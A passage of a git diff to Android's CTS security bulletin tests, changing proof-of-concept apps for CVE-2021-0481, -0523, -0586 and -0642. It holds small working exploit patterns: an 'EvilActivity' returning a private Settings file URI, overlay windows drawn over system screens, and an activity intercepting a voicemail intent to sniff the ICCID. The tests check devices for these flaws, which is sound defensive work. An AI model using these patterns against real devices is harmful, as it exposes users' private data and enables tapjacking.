-      //in "Profile Info" dialog window showing clickable user silhouette
-      //look for clickable android.widget.ImageView object with attributes:
-      // getContentDescription()=Select photo
-      // getResourceName()=com.android.settings:id/user_photo
-      searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
-      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
-      searchAndClick(mDevice, "Choose an image", 6000);
-
-      //in "Browse Files in Other Apps" activity
-      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
-      //Image is chosen as (evilActivity) so we are getting back to
-      //"Profile Info" dialog window showing clickable user silhouette
-      //end "Cancel" and "OK" buttons.
-      //look for "Cancel button and click it"
-      searchAndClick(mDevice, "Cancel", 2000);
-
-    } catch (ClickableNotFound e){
-      Log.d(TAG, e.toString());
-      assumeNoException(e);
-    }
-    Log.d(TAG, "end of testUserPhotoSetUp()");
-  }
-
-  //see what is on screen and click on object containing name
-  //throw exception if object not found
-  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
-    int ret;
-    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
-    boolean found = false;
-    Log.d(TAG, "looking for " + name);
-    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
-    if(objects != null){
-      for (UiObject2 o : objects) {
-        if((ret=searchAndLog(o, name, "")) !=0 )
-        {
-          found=true;
-          Log.d(TAG, name + " found");
-          if((ret & IS_CHECKED_FLAG) == 0) {
-              o.click();
-              Log.d(TAG, name + " clicked");
-              SystemClock.sleep(timeOut); //wait for click result to appear onscreen
-          }
-          break; //to avoid androidx.test.uiautomator.StaleObjectException
-        }
-      }
-    }
-    if(!found) {
-      throw new ClickableNotFound("\"" + name + "\" not found to click on");
-    }
-  }
-
-  //Search for 'name' in UiObject2
-  //returns int flags showing search result:
-  // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
-  // IS_FOUND_FLAG - 'name' matches anything else
-  private int searchAndLog(UiObject2 o, String name, String prefix){
-
-    int ret = 0;
-    String lname = o.getText();
-    String cname = o.getClassName();
-    String cdesc = o.getContentDescription();
-    String rname = o.getResourceName();
-    boolean checked = o.isChecked();
-
-    Log.d(TAG, prefix + "class=" + cname);
-    Log.d(TAG, prefix + "o.getText()=" + lname);
-    Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
-    Log.d(TAG, prefix + "o.getResourceName()=" + rname);
-    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
-    if( rname != null && rname.equals(name) && checked) {
-      ret |= IS_CHECKED_FLAG;
-    }
-    else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
-      ret |= IS_FOUND_FLAG;
-    }
-
-    if(ret != 0) {
-      Log.d(TAG, prefix + "found-->" + name);
-      return ret;
-    } else {
-      java.util.List<UiObject2> objects2 = o.getChildren();
-      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
-        for (UiObject2 o2 : objects2) {
-          if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
-            return ret;
-          }
-        }
-      }
-    }
-    return ret;
-  }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
deleted file mode 100644
index 92f0ec3..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts.CVE_2021_0481;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
-
-    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
-    private static final String TAG = "TAG_2021_0481";
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.d(TAG, "EvilActivity started!");
-        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
-        finish();
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
 
 android_test_helper_app {
     name: "CVE-2021-0523",
-    srcs: [
-        "src/android/security/cts/CVE_2021_0523/PocActivity.java",
-        "src/android/security/cts/CVE_2021_0523/PocService.java",
-    ],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
         "vts10",
         "sts",
-        "general-tests",
     ],
-    sdk_version: "system_current",
     static_libs: [
-        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
     ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e427..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application
         android:allowBackup="true"
         android:label="CVE-2021-0523"
         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
         <service
             android:name=".PocService"
             android:enabled="true"
             android:exported="false" />
 
-        <activity android:name=".PocActivity">
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
     </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0523" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..5804a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_PKG_WIFI = "com.android.settings";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    String mActivityDump = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        if (Settings.canDrawOverlays(getApplicationContext())) {
+            Intent intent = new Intent(getApplicationContext(), PocService.class);
+            context.startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivity(intent);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        /* Start the launcher activity */
+        context.startActivity(intent);
+        /* Wait for the WifiScanModeActivity */
+        if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Start the overlay service */
+        startOverlayService();
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        /* Wait for an object of the overlay window */
+        if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Check if the currently running activity is WifiScanModeActivity */
+        try {
+            mActivityDump = mDevice.executeShellCommand("dumpsys activity");
+        } catch (IOException e) {
+            throw new RuntimeException("Could not execute dumpsys activity command");
+        }
+        Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+        if (!activityPattern.matcher(mActivityDump).find()) {
+            return;
+        }
+        String message = "Device is vulnerable to b/174047492 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5..3e35266 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
 package android.security.cts.cve_2021_0523;
 
 import android.app.Activity;
+import android.content.ActivityNotFoundException;
 import android.content.Intent;
-import android.content.Context;
 import android.net.wifi.WifiManager;
-import android.os.Build;
 import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
 
 public class PocActivity extends Activity {
-    private WakeLock mScreenLock;
-    private Context mContext;
-
-    private void startOverlayService() {
-        if (Settings.canDrawOverlays(this)) {
-            Intent intent = new Intent(PocActivity.this, PocService.class);
-            startService(intent);
-        } else {
-            try {
-                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
-                startActivityForResult(intent, 1);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void stopOverlayService() {
-        Intent intent = new Intent(PocActivity.this, PocService.class);
-        stopService(intent);
-    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        mContext = this.getApplicationContext();
-        PowerManager pm = mContext.getSystemService(PowerManager.class);
-        mScreenLock = pm.newWakeLock(
-                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
-                "PocActivity");
-        mScreenLock.acquire();
-        try {
-            Thread.sleep(6000);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        startOverlayService();
         Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
-        startActivityForResult(intent, 2);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        mScreenLock.release();
+        try {
+            startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            // do nothing
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..a106c28 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -19,18 +19,12 @@
 import android.app.Service;
 import android.content.Intent;
 import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Color;
 import android.graphics.PixelFormat;
-import android.os.Build;
 import android.os.Handler;
 import android.os.IBinder;
 import android.provider.Settings;
 import android.view.Gravity;
-import android.view.MotionEvent;
-import android.view.View;
 import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
 import android.widget.Button;
 
 public class PocService extends Service {
@@ -84,9 +78,8 @@
     private void showFloatingWindow() {
         if (Settings.canDrawOverlays(this)) {
             mButton = new Button(getApplicationContext());
-            mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+            mButton.setText(getResources().getString(R.string.overlay_button));
             mWindowManager.addView(mButton, mLayoutParams);
-            mButton.setOnTouchListener(new FloatingOnTouchListener());
             new Handler().postDelayed(new Runnable() {
                 @Override
                 public void run() {
@@ -96,25 +89,4 @@
             mButton.setTag(mButton.getVisibility());
         }
     }
-
-    private static class FloatingOnTouchListener implements View.OnTouchListener {
-
-        @Override
-        public boolean onTouch(View view, MotionEvent event) {
-            view.setDrawingCacheEnabled(true);
-            view.buildDrawingCache();
-            Bitmap bitmap = view.getDrawingCache();
-            int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
-            int red = Color.red(pixel);
-            int green = Color.green(pixel);
-            int blue = Color.blue(pixel);
-            view.setDrawingCacheEnabled(false);
-            if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
-                throw new RuntimeException(
-                    "Device is vulnerable to b/174047492 hence any app with " +
-                    "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
-            }
-            return false;
-        }
-    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
 
 package android.security.cts.cve_2021_0586;
 
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
+
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
 import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
-    private static final String TEST_PKG_BT = "com.android.settings";
     private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private Pattern overlayTextPattern;
     private UiDevice mDevice;
     String activityDump = "";
 
@@ -68,26 +72,29 @@
         final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
         assertNotNull(intent);
         intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
         /* Start the launcher activity */
         context.startActivity(intent);
-        Pattern pattern = Pattern.compile(
+        overlayTextPattern = Pattern.compile(
                 getApplicationContext().getResources().getString(R.string.overlay_button),
                 Pattern.CASE_INSENSITIVE);
-        /* Wait for the overlay window */
-        if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
-        /* Start the DevicePickerActivity */
-        startDevicePickerActivity();
     }
 
     @Test
     public void testOverlayButtonPresence() {
-        BySelector selector = By.pkg(TEST_PKG_BT);
-        /* Wait for an object of DevicePickerActivity */
-        if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+        /* Wait for the overlay window */
+        if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
             return;
         }
+
+        /* Start the DevicePickerActivity */
+        startDevicePickerActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+
         /* Check if the currently running activity is DevicePickerActivity */
         try {
             activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
         if (!activityPattern.matcher(activityDump).find()) {
             return;
         }
+
+        /* Failing the test as fix is not present */
         String message = "Device is vulnerable to b/182584940 hence any app with "
                 + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
-        assertNotNull(message, mDevice.findObject(selector));
+        fail(message);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
index 11fd02c..b654e0c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -25,7 +25,7 @@
 
     private void startOverlayService() {
         if (Settings.canDrawOverlays(this)) {
-            Intent intent = new Intent(PocActivity.this, PocService.class);
+            Intent intent = new Intent(PocActivity.this, PocService.class);
             startService(intent);
         } else {
             try {
@@ -38,7 +38,7 @@
     }
 
     private void stopOverlayService() {
-        Intent intent = new Intent(PocActivity.this, PocService.class);
+        Intent intent = new Intent(PocActivity.this, PocService.class);
         stopService(intent);
     }
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
new file mode 100644
index 0000000..50acd29
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0642",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0642"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0642"
+        android:supportsRtl="true">
+
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    static final String APP_TITLE = "CVE-2021-0642";
+    static final String PACKAGE_NAME = "com.android.phone";
+    static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    @Test
+    public void testCVE_2021_0642() {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Check if "com.android.phone" exists on the system
+        try {
+            packageManager.getPackageUid(PACKAGE_NAME, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for activity (which is part of package "com.android.phone") that
+        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+        boolean isVoicemailVisible =
+                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+        // To check if PocActivity was launched
+        BySelector selector = By.enabled(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        boolean isPocActivityVisible = false;
+        for (UiObject2 o : objects) {
+            String visibleText = o.getText();
+            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+                isPocActivityVisible = true;
+                break;
+            }
+        }
+        device.pressHome();
+
+        assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+        String outputMsg = "Device is vulnerable to b/185126149 "
+                + "hence sensitive Iccid could be sniffed by intercepting "
+                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
